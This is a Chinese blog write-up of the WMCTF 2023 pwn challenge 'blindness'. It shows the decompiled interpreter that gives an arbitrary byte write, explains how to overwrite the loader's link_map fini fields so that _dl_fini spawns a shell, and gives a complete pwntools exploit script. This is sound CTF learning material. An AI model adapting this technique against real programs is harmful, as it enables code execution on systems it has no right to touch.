本文最后更新于:2023年8月28日 下午
2023-wmctf-pwn部分复现
师傅们太强了,pwn题拿了三个一血。笔者这次比赛就看了两个题,jit与blindness。说实话,jit太难逆了,根本看不懂。blindness看着挺简单的,但是没啥利用思路。还是太菜了。
jit
参考笔者jit-pwn这篇文章。
blindness
查看保护。
程序整体还是比较简单的。关键在executeBrainfuck
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| int __cdecl executeBrainfuck(char *code) { char c[5];
c[4] = 0; *(_DWORD *)c = (unsigned __int8)*code; while ( *(int *)&c[1] <= 255 ) { if ( c[0] == 'q' ) return 0; if ( c[0] <= 'q' ) { if ( c[0] == '@' ) { data += *(unsigned int *)&code[*(int *)&c[1] + 1]; *(_DWORD *)&c[1] += 5; } else if ( c[0] <= '@' ) { if ( c[0] == '>' ) { ++data; ++*(_DWORD *)&c[1]; } else if ( c[0] <= '>' ) { if ( c[0] == '+' ) { data += 8; ++*(_DWORD *)&c[1]; } else if ( c[0] == '.' ) { *data = code[*(int *)&c[1] + 1]; *(_DWORD *)&c[1] += 2; } } } } c[0] = code[*(int *)&c[1]]; } return 0; }
|
这个函数实现了任意地址写一字节功能。
关键点在于往哪写?
由于没有限制申请堆块的大小,可以申请一块特别大内存,使用mmap
分配,使得堆起始地址与libc或者ld等内存有固定偏移。然后我们可以写_rtld_global结构体的内容。
思路大概有三种:
第一种,覆盖_rtld_global结构体的exit_hook为one_gadget,需要爆破一定时间。
第二种,覆盖link_map结构体的dl_addr与dl_fini等字段,执行system(“/bin/sh\00”)。
第三种,与第二种类似,但是最后执行程序提供的backdoor。
第一种比较简单,这里大致说说后两种。
程序正常退出时,需要执行dl_fini
等函数进行收尾工作。这里我们主要利用dl_fini
函数。
dl_fini
该函数会遍历link_map结构体,然后执行DT_FINI_ARRAY与DT_FINI的函数。这里思路就是覆盖DT_FINI_ARRAY为空,然后覆盖DT_FINI为dt_debug(思路二)或者覆盖DT_FINI为dt_string (思路三)。再覆盖dt_addr为system与dt_debug的偏移或者backdoor与dt_string的偏移,最后爆破1/16即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
|
from pwn import * from pwn import p64, p32, p16, p8
context.arch = 'amd64'
fn = './main' elf = ELF(fn) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') ld = ELF('/lib64/ld-linux-x86-64.so.2')
debug = 1
def dbg(s=''): if debug: gdb.attach(p, s) pause()
else: pass lg = lambda x, y: log.success(f'{x}: {hex(y)}')
command = ''' dir ~/tools/glibc-source/glibc-2.31/elf/ b _dl_fini '''
def write(offset, content): data = b'@' + p32(offset) for i in range(len(content)): data += b'.' + p8(content[i]) data += b'>' return data
ld_base_offset = 0x413ff0
binsh_offset = ld_base_offset + ld.sym['_rtld_global'] + 2312 link_map_offset = ld_base_offset + 0x2f190 dt_string = link_map_offset + 0x40 + 5 * 0x8 dt_fini = link_map_offset + 0x40 + 13 * 0x8 dt_fini_array = link_map_offset + 0x40 + 26 * 0x8
def attack(): p.sendafter('the data size', str(0x200000).encode()) p.sendafter('the code size', str(0x100).encode())
payload = b'' payload += write(link_map_offset, p64(0xd09)) payload += write(dt_fini - link_map_offset - 0x8, p16(0x7e18)) payload += b'>' * 0x6 payload += write(dt_fini_array - dt_fini - 8, p64(0)) payload += b'q' p.sendafter('input your code', payload) data = p.recvuntil('}', timeout=1) print(data)
if __name__ == '__main__': while True: try: p = process(fn) attack() break
except: p.close()
|